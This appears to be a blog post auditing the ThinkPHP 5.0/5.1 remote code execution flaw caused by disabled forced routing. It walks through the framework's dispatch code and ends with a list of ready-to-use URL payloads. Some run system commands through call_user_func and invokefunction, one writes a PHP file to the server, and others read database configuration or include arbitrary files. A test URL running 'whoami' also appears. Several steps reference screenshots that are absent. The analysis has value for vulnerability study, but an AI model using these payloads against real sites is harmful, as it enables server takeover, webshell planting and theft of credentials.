ThinkPHP5 RCE vulnerability code audit

preface

thinkphp Download
Vulnerability impact version:
5.0.0<=ThinkPHP5<=5.0.23 ,5.1.0<=ThinkPHP<=5.1.30

RCE caused by not enabling forced routing

build

In depth analysis of ThinkPHP 5.1 framework combined with RCE vulnerabilities

thinkphp-5.1.29

tp version: 5.1.29

php version: 7.2.10 (must be above 7)

Test:

http://www.yn8rt.com/thinkphp5.1.29/public/?s=index/think\request/input?data=whoami&filter=system

start

tp3URL mode

It is said that the cause of this vulnerability is that the forced routing is not enabled, and the rce is caused by the existence of compatibility mode. Power off debugging is started:

The first is the function of get: get the object instance in the container, which should almost mean instantiating an object

After that, look at some run functions:

This is mainly the route detection. After follow-up, you will get the check function:

After processing through this function, the / in $url will be changed to|

Then, after returning the dispatch, you enter the init function:

The parseurl function is used for parsing:

This is one of the useful functions. You should get the module controller and operation, store them in an array, that is, the variable route, and you will know step by step

Follow up exec function:

public function exec()
    {
        // Listening module_init
        $this->app['hook']->listen('module_init');

        try {
            // Instantiate controller
            $instance = $this->app->controller($this->controller,
                $this->rule->getConfig('url_controller_layer'),
                $this->rule->getConfig('controller_suffix'),
                $this->rule->getConfig('empty_controller'));

            if ($instance instanceof Controller) {
                $instance->registerMiddleware();
            }
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

        $this->app['middleware']->controller(function (Request $request, $next) use ($instance) {
            // Gets the current operation name
            $action = $this->actionName . $this->rule->getConfig('action_suffix');

            if (is_callable([$instance, $action])) {
                // Execution method
                $call = [$instance, $action];

                // Strictly obtain the name of the current operation method
                $reflect    = new ReflectionMethod($instance, $action);
                $methodName = $reflect->getName();
                $suffix     = $this->rule->getConfig('action_suffix');
                $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
                $this->request->setAction($actionName);

                // Get request variables automatically
                $vars = $this->rule->getConfig('url_param_type')
                ? $this->request->route()
                : $this->request->param();
                $vars = array_merge($vars, $this->param);
            } elseif (is_callable([$instance, '_empty'])) {
                // Empty operation
                $call    = [$instance, '_empty'];
                $vars    = [$this->actionName];
                $reflect = new ReflectionMethod($instance, '_empty');
            } else {
                // Operation does not exist
                throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
            }

            $this->app['hook']->listen('action_begin', $call);

            $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

            return $this->autoResponse($data);
        });

        return $this->app['middleware']->dispatch($this->request, 'controller');
    }
}

According to his comments, the place to strictly obtain the name of the current operation method should be to use reflection to obtain the specific attributes in the method to further determine the name of the function. Among them, invokereflectmethod (request reflection method) is the key:

Step into the input function:

Follow up to see why:

rce caused by callback function

summary

Overall idea: since the route is not forced to be turned on, because of the existence of compatibility mode, the parameters we pass in will be successfully parsed and called: during the process, the slash / will be replaced with | in the check method, and the resulting $dispath value is index|think\request|input?data=whoami, which is equivalent to: directory name | controller | method? Parameter, and finally the file causing the problem is in think\request.php, which causes RCE in the input method

payload

5.1.x

?s=index/think\Request/input&filter[]=system&data=dir
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

5.0.x

?s=index/think\config/get&name=database.username # Get configuration information
?s=index/\think\Lang/load&file=../../test.jpg    # Include any file
?s=index/\think\Config/load&file=../../t.php     # Contains any. php file
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

Tags: PHP mvc thinkphp cms

Posted on Tue, 12 Oct 2021 14:43:31 -0400 by mikeyinsane